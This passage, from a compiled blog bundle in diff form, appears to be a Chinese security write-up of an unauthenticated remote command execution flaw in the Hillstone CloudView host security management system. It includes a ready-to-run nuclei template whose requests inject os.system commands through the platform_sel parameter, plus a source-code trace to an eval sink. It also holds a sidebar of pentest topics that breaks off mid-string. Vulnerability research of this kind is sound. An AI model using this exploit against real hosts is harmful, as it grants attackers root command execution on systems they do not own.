c7b\u4f3c C \u7684 ",(0,r.jsx)(n.code,{children:"\\n"}),"\u3001",(0,r.jsx)(n.code,{children:"\\r"})," ...\u3001\u516b\u8fdb\u5236\u548c\u5341\u516d\u8fdb\u5236\u8868\u793a\u5f62\u5f0f\u3002\u5747\u65e0\u4f24\u5927\u96c5\u3002\u4e5f\u5c31\u662f\u662f\u8bf4",(0,r.jsx)(n.code,{children:"suffix"}),"\u4f5c\u4e3a\u540d\u79f0\u62fc\u63a5\u5230\u6587\u4ef6\u540d\u4e0a\u5e76\u672a\u505a\u4efb\u4f55\u8fc7\u6ee4\u3002"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648367.png",alt:"image-20240910172828260"})}),"\n",(0,r.jsx)(n.p,{children:"\u4e8e\u662f\u6211\u4eec\u6784\u9020\u4e00\u4e0b\u8bf7\u6c42\u5305\uff0c\u5e76\u53d1\u751f\u8bf7\u6c42\u5305\u5373\u53ef\u4e0a\u4f20\u6587\u4ef6"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648368.png",alt:"image-20240910173034048"})}),"\n",(0,r.jsx)(n.p,{children:"\u8bbf\u95ee\u4e0a\u4f20\u5730\u5740\u5373\u53efRCE"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648369.png",alt:"image-20240910173256273"})}),"\n",(0,r.jsx)(n.h3,{id:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edfphppython",children:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf(PHP\u3001Python)"}),"\n",(0,r.jsxs)(n.blockquote,{children:["\n",(0,r.jsx)(n.p,{children:"\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf\u5b58\u5728\u524d\u53f0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u6ca1\u6709\u767b\u5f55\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5355\u53ea\u80fd\u901a\u8fc7\u6587\u4ef6\u67e5\u770b\u56de\u663e\u3002"}),"\n"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-yaml",children:'id: hillstonenet-yunjian-rce2\n\ninfo:\n name: \u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf\u524d\u53f0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e2\n author: b1ak2\n severity: critical\n description: |\n \u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf\u5b58\u5728\u524d\u53f0\u547d\u4ee4\u6267\u884c\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5728\u6ca1\u6709\u767b\u5f55\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\uff0c\u5355\u53ea\u80fd\u901a\u8fc7\u6587\u4ef6\u67e5\u770b\u56de\u663e\u3002\n reference:\n - https://github.com/wy876/POC/blob/8e6d282d2616c5d5296e698f16bdcae2462ebe5c/%E5%B1%B1%E7%9F%B3%E7%BD%91%E7%A7%91%E4%BA%91%E9%89%B4%E5%AD%98%E5%9C%A8%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md\n metadata: \n fofa-query: body="\u5c71\u77f3\u4e91\u9274\u4e3b\u673a\u5b89\u5168\u7ba1\u7406\u7cfb\u7edf"\n tags: hillstonenet,rce\n\nhttp:\n - raw:\n - |\n GET /master/ajaxActions/getTokenAction.php HTTP/1.1\n Host: {{Hostname}}\n Cookie: PHPSESSID=emhpeXVhbg;\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\n Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n Accept-Encoding: gzip, deflate, br\n Sec-Fetch-Dest: font\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-origin\n Te: trailers\n Connection: close\n\n - |\n GET /master/ajaxActions/getMessageSettingAction.php?token_csrf={{token_csrf}}&company_uuid=aaa&platform_sel=os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config") HTTP/1.1\n Host: {{Hostname}}\n Cookie: PHPSESSID=emhpeXVhbg;\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\n Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n Accept-Encoding: gzip, deflate, br\n Sec-Fetch-Dest: font\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-origin\n Te: trailers\n Connection: close\n\n\n - |\n GET /master/img/config HTTP/1.1\n Host: {{Hostname}}\n Cookie: PHPSESSID=gs8bl1b288ummccm9n3ub4g323\n User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:123.0) Gecko/20100101 Firefox/123.0\n Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8\n Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\n Accept-Encoding: gzip, deflate, br\n Sec-Fetch-Dest: font\n Sec-Fetch-Mode: cors\n Sec-Fetch-Site: same-origin\n Te: trailers\n Connection: close\n\n extractors:\n # \u6b63\u5219\u5339\u914d\uff0c\u63d0\u53d6\u6574\u4e2a\u5339\u914d\u5230\u7684\u503c\n - type: regex\n name: token_csrf\n part: body_1\n internal: true\n regex:\n - \\S{32}\n\n matchers-condition: and\n matchers:\n - type: word\n part: body_3\n words:\n - "uid=0(root) gid=0(root) groups=0(root)"\n\n - type: word\n part: body_2\n words:\n - "Status"\n - "ErrMsg"\n condition: and\n\n - type: status\n part: status_code_2\n status:\n - 200\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u5728\u8fd9\u4e2a\u6f0f\u6d1e\u4e2d\u51fa\u53d1\u70b9\u662f",(0,r.jsx)(n.code,{children:"getMessageSettingAction.php"}),"\u6587\u4ef6\u7684",(0,r.jsx)(n.code,{children:"platform_sel"}),"\u53c2\u6570\uff0c\u67e5\u770b\u76f8\u5173\u4ee3\u7801\uff0c\u53d1\u73b0\u662f\u4e00\u6bb5",(0,r.jsx)(n.code,{children:"json"}),"\u8bf7\u6c42"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$result['status'], \"Result\"=>$resultArray);\n echo json_encode($resp,JSON_UNESCAPED_UNICODE);\n?>\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u89e6\u53d1\u65b9\u5f0f\uff0c\u8fd9\u6bb5\u4e3a",(0,r.jsx)(n.code,{children:"python"}),"\u4ee3\u7801"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:'os.system("id+>+/opt/var/majorsec/installation/master/runtime/img/config")\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e8e\u662f\u4e0d\u96be\u731c\u51faphp\u53ea\u662f\u4e00\u4e2a\u4e2d\u95f4\u4ef7\uff0c\u89e6\u53d1\u7684\u5730\u65b9\u662f",(0,r.jsx)(n.code,{children:"python"}),"\u8d77\u7684\u670d\u52a1\uff0c\u91cc\u9762\u80af\u5b9a\u6709\u4e2a",(0,r.jsx)(n.code,{children:"eval"}),"\u51fd\u6570\u4e4b\u7c7b\u7684"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"function postCommand($parameter){\n $ch = curl_init(); \n curl_setopt($ch, CURLOPT_POST, 1); \n curl_setopt($ch, CURLOPT_POSTFIELDS, $parameter);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); \n $url = \"http://\".$GLOBALS['serverNm'].\":8000/\";\n writeLog('post param is '.$parameter, 2);\n writeLog('url is '.$url, 2);\n curl_setopt($ch, CURLOPT_URL,$url); \n curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); \n curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); \n $headers = array(\n \"Content-Length: \".strlen($parameter),\n \"Content-Type: application/x-www-form-urlencoded\"\n ); \n curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); \n $result = curl_exec ($ch); \n\twriteLog('post api returns:'.$result, 2);\n\t$httpCode = curl_getinfo($ch,CURLINFO_HTTP_CODE);\n\twriteLog($url.' status:'.$httpCode, 2);\n writeLog($url.' get api returns:'.$result, 2);\n curl_close ($ch);\n return array(\"status\"=>$httpCode, \"body\"=>$result);\n\n}\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u627e\u5230\u5176\u4e2d\u7684",(0,r.jsx)(n.code,{children:"python"}),"\u670d\u52a1"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648370.png",alt:"image-20240911103748098"})}),"\n",(0,r.jsx)(n.p,{children:"\u67e5\u770b\u76f8\u5173\u4ee3\u7801\u53d1\u73b0\u4e3a\u4e00\u4e2a\u7b80\u6613\u7684python\u670d\u52a1\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"class CommandHandler (tornado.web.RequestHandler):\n # @gen.coroutine\n def post(self):\n try:\n logging.debug('\\n'.join(\n '{0}:{1}'.format(k, v) for (k, v) in self.request.headers.get_all()\n ))\n logging.debug(self.request.body)\n\n command = self.request.body\n ret, msg = routeCommand(command, self)\n\n if ret and ret != \"alreadySendToFrontEnd\":\n self.write(msg)\n self.finish()\n elif not ret:\n logging.error(msg)\n raise Exception(msg)\n except Exception as e:\n logging.error(\"CommandHandler Exception: {}\".format(e))\n raise tornado.web.HTTPError(400)\n\n def yamin_send_back(self, code, msg):\n logging.debug('msg:' + str(msg))\n self.write(msg)\n self.flush()\n self.finish()\n return\n\n\nconf, store = {}, {}\n\n\nif not initStore():\n sys.exit(-1)\n\napp = tornado.web.Application([\n (r\"/\", CommandHandler),\n])\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8def\u7531\u5904\u7406\u51fd\u6570",(0,r.jsx)(n.code,{children:"routeCommand"})]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"def routeCommand(commandline, handler):\n global conf\n if not commandline:\n return False, \"Invalid command\"\n\n if len(commandline) > 4096 or len(commandline) < 4:\n return False, \"Invalid command\"\n\n command, args = None, None\n try:\n l = commandline.split('|', 1)\n command, args = l[:2] if len(l) > 1 else (l[0], '')\n except Exception as e:\n return False, \"Cannot parse {}:{}\".format(commandline, e)\n\n stage = getStage()\n if command not in commands[stage]:\n return False, \"Invalid command {0} at stage {1}\".format(command, stage)\n if stage in (2, 3) and not initStore():\n return False, \"Unavailable service\"\n\n conf['server'] = handler\n try:\n command = command.replace('-', '_')\n return eval(command)(args=args.split('|'), conf=conf, store=store)\n except Exception as e:\n return False, e\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u6bb5\u51fd\u6570\u5c31\u662f\u901a\u8fc7\u5904\u7406\u4e0d\u540c\u7684",(0,r.jsx)(n.code,{children:"command"}),"\u5206\u522b\u8c03\u7528\u4e0d\u540c\u7684\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"return eval(command)(args=args.split('|'), conf=conf, store=store)\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a",(0,r.jsx)(n.code,{children:"command"})," \u4e5f\u6709\u4e00\u6bb5\u5217\u8868\uff0c\u4e5f\u5c31\u662f"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"commands = [\n # bootstrap.sh\n ['dummy', 'ping', 'init-dbs', 'set-init-stage', 'call-upgrade-dbs', 'get-suid',\n 'get-company-uuid', 'set-company-init', 'set-hasher-link', 'verify-passwd'],\n # cli.py\n ['dummy', 'ping', 'set-net', 'get-net', 'get-suid', 'set-hasher-link', 'set-userinfo', 'get-command-result',\n 'set-init-stage', 'get-init-stage', 'update-serverjson', 'get-company-uuid', 'set-company-init', 'verify-passwd'],\n # config system via master\n ['dummy', 'ping', 'set-net', 'get-net', 'set-system', 'set-license', 'get-net2', 'get-backup-config', 'set-backup-run',\n 'set-userinfo', 'get-license', 'get-userinfo', 'get-datetime', 'get-company-uuid', 'set-backup-test', 'set-backup-config', 'get-license-info',\n 'set-passwd', 'set-init-stage', 'get-init-stage', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'set-hasher-link', 'get-uptime','set-firstconfig',\n 'set-certificate', 'get-if-pw-changed', 'set-nginx-reload', 'set-company-init', 'get-greeting-message-status', 'get-backup-filelist-v2', 'set-makeAgent',\n 'set-start-init', 'get-cer-time', 'get-cer-info', 'set-zonetime', 'get-log', 'set-greeting-message-status', 'get-command-result', 'set-move-file',\n 'get-mail-info', 'set-mail-info', 'restart-appliance', 'update-serverjson', 'get-suid', 'apply-hotfix', 'get-license-preview', 'set-customziedId',\n 'verify-passwd', 'change-service-status', 'get-service-status', 'get-remote-status', 'get-company-list', 'get-sms-setting',\n 'disable-remote', 'get-remote-token', 'get-cpuMem', 'get-cpuMem2', 'get-disk', 'get-upgrade-integrity', 'get-upgrade-log', 'get-company-code',\n 'get-account-state', 'unlock-account', 'set-mp-time', 'get-login-failed-count', 'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],\n # system is running\n ['dummy', 'ping', 'set-passwd', 'set-service', 'get-if-pw-changed', 'get-net2', 'get-command-result', 'set-backup-test', 'set-backup-config',\n 'set-certificate', 'set-license', 'set-userinfo', 'set-datetime', 'set-ntp', 'get-ntp', 'get-zonelist', 'get-company-uuid',\n 'set-system', 'set-repo', 'download-file', 'get-backup-filelist', 'get-log', 'get-product-info', 'set-backup-run',\n 'get-upgrade-fileinfo', 'get-system', 'get-service-status', 'get-remote-status', 'set-service-restart-after-time-change', 'get-company-code',\n 'get-mail-info', 'set-mail-info', 'set-zonetime', 'get-datetime', 'set-hasher-link', 'get-backup-config', 'get-command-result', 'set-company',\n 'get-userinfo', 'get-license', 'set-net', 'get-net', 'set-init-stage', 'get-greeting-message-status', 'verify-passwd', 'set-firstconfig',\n 'get-init-stage', 'get-disk', 'get-cpuMem', 'get-cer-time', 'get-suid', 'get-cpuMem2', 'get-backup-filelist-v2', 'set-move-file',\n 'get-cer-info', 'get-company-code', 'restart-appliance', 'get-ehelp-ticket', 'set-greeting-message-status', 'get-about-us', 'apply-offline-package',\n 'set-ehelp-ticket', 'e-help', 'update-serverjson', 'e-help-download', 'get-upgrade-status', 'get-license-info', 'set-makeAgent', 'get-mt-status',\n 'download-upgrade-file', 'shutdown-appliance', 'get-server-agent-vers', 'get-remote-token', 'get-license-preview', 'change-service-status',\n 'agent-json-to-sqlite', 'send-signal-process', 'apply-hotfix', 'sync-serverjson', 'get-license-days', 'set-customziedId', 'force-restart-appliance',\n 'get-sms-setting', 'set-sms-setting', 'disable-remote', 'set-sms-test', 'get-company-list', 'get-uptime', 'get-upgrade-integrity',\n 'get-upgrade-log', 'get-account-state', 'unlock-account', 'set-mp-time', 'set-cleandisk-threshold', 'get-cleandisk-threshold', 'get-login-failed-count',\n 'get-license-expired', 'get-current-license-info', 'get-block-incoming-logs'],\n # dummy\n ['get-upgrade-status', 'get-upgrade-log'],\n # upgrade system via yamin-self\n ['dummy', 'ping', 'set-init-stage', 'get-init-stage']\n]\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0a\u6587\u63d0\u5230\u7684",(0,r.jsx)(n.code,{children:"POC"}),"\uff0c\u5728",(0,r.jsx)(n.code,{children:"php"}),"\u4e2d\u7684\u76f8\u5173\u4ee3\u7801\u5982\u4e0b"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'function getMessageSettingInfo($param){\n return handleEmptyResult(postCommand("get-sms-setting|".$param));\n}\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u5b83\u5728",(0,r.jsx)(n.code,{children:"python"}),"\u7684\u903b\u8f91\u662f"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-python",children:"def get_sms_setting(**kwargs):\n try:\n store = kwargs['store']\n args = kwargs['args']\n param = eval(args[0])\n # company_id = 0\n if \"company_uuid\" not in param:\n logging.error(\"invalid request, not found company_uuid\")\n return True, setResult(1, \"invalid request, not found company_uuid\")\n if \"setting_type\" not in param:\n logging.error(\"invalid request, not found setting_type\")\n return True, setResult(1, \"invalid request, not found setting_type\")\n with store['dbs'].connect() as conn:\n q2 = {\n \"query\": \"CALL `mjs`.`usp_alert_get_sms_setting`(:company_uuid,:setting_type,@r)\",\n \"args\": {\n \"company_uuid\": param['company_uuid'],\n \"setting_type\": param['setting_type']\n }\n }\n logging.debug(\"get sms setting by cmd: {}\".format(q2))\n res = []\n\n def get_setting_details(result):\n row = result.fetchone()\n setting_info = {}\n setting_info['company_uuid'] = param['company_uuid']\n # setting_info['setting_id'] = row['setting_id']\n setting_info['region'] = row['region']\n setting_info['access_key_id'] = row['access_key_id']\n setting_info['access_key_secret'] = row['access_key_secret']\n setting_info['entry_point'] = row['entry_point']\n setting_info['topic'] = row['topic']\n setting_info['sms_template_code'] = row['sms_template_code']\n setting_info['sms_template_param'] = row['sms_template_param']\n setting_info['sms_sign_name'] = row['sms_sign_name']\n setting_info['status'] = row['status']\n res.append(setting_info)\n dbs_call(get_setting_details, conn, **q2)\n if not len(res):\n logging.error(\"not obtain sms setting details\")\n return True, setResult(1, \"not obtain sms setting details\")\n logging.debug(\"got sms setting detail: {}\".format(res[0]))\n return True, setResult(0, res[0])\n except Exception as e:\n logging.error(\"get_sms_setting exception: {}\".format(e))\n return True, setResult(1, \"get_sms_setting exception: {}\".format(e))\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230",(0,r.jsx)(n.code,{children:"param = eval(args[0])"})," \u662f\u6f0f\u6d1e\u7684\u89e6\u53d1\u4f4d\u7f6e\uff0c\u800c ",(0,r.jsx)(n.code,{children:"args[0]"}),"\u5c31\u662f",(0,r.jsx)(n.code,{children:"php"}),"\u7684",(0,r.jsx)(n.code,{children:"$param"})]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"$company_uuid = $_GET['company_uuid'];\n$platform_sel = $_GET['platform_sel'];\n$param = \"{\" . '\"company_uuid\":\"'.$company_uuid .'\"';\n$param = $param . ',' . '\"setting_type\":' . $platform_sel;\n$param = $param . \"}\";\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u53ef\u4ee5\u770b\u5230 setting_type\u4e3aint\u7c7b\u578b\uff0c\u6211\u4eec\u5373\u53ef\u4f20\u5165\u6076\u610f\u7684python\u4ee3\u7801\uff0c\u6700\u7ec8\u5b9e\u73b0rce"})]})}function p(e={}){const{wrapper:n}={...(0,i.R)(),...e.components};return n?(0,r.jsx)(n,{...e,children:(0,r.jsx)(h,{...e})}):h(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>c,x:()=>t});var l=s(96540);const r={},i=l.createContext(r);function c(e){const n=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function t(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),l.createElement(i.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/0abf49b1.ee20c68d.js b/en/assets/js/0abf49b1.ee20c68d.js new file mode 100644 index 0000000..b6190f6 --- /dev/null +++ b/en/assets/js/0abf49b1.ee20c68d.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1536],{99027:e=>{e.exports=JSON.parse('{"version":{"pluginId":"default","version":"current","label":"Next","banner":null,"badge":false,"noIndex":false,"className":"docs-version-current","isLast":true,"docsSidebars":{"tutorialSidebar":[{"type":"link","href":"/en/docs/intro","label":"intro","docId":"intro","unlisted":false},{"type":"category","label":"\u4e2a\u4eba\u77e5\u8bc6\u5e93","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u6e17\u900f\u6d4b\u8bd5","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u4fe1\u606f\u6536\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u8d44\u4ea7\u6536\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"\u4e3b\u57df\u540d\u6536\u96c6","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","label":"ICP\u5907\u6848\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","label":"\u8bc1\u4e66\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","label":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","label":"google\u67e5\u8be2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/google\u67e5\u8be2","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/"}]}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/"},{"type":"category","label":"WEB\u6f0f\u6d1e","collapsible":true,"collapsed":true,"items":[{"type":"category","label":"SQL\u6ce8\u5165","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","label":"\u6ce8\u5165\u5224\u65ad","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6ce8\u5165\u5224\u65ad","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","label":"\u6570\u636e\u5e93\u8bc6\u522b","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/\u6570\u636e\u5e93\u8bc6\u522b","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","label":"Oracle","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Oracle","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","label":"MySQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MySQL","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","label":"PostgreSQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/PostgreSQL","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","label":"SQLite","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/SQLite","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","label":"MSSQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/MSSQL","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","label":"HQL","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/HQL","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","label":"DB2","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","label":"Cassandra","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","unlisted":false},{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","label":"BigQuery","docId":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery","unlisted":false}],"href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/"},{"type":"category","label":"XSS\u6ce8\u5165","collapsible":true,"collapsed":true,"items":[{"type":"link","href":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular","label":"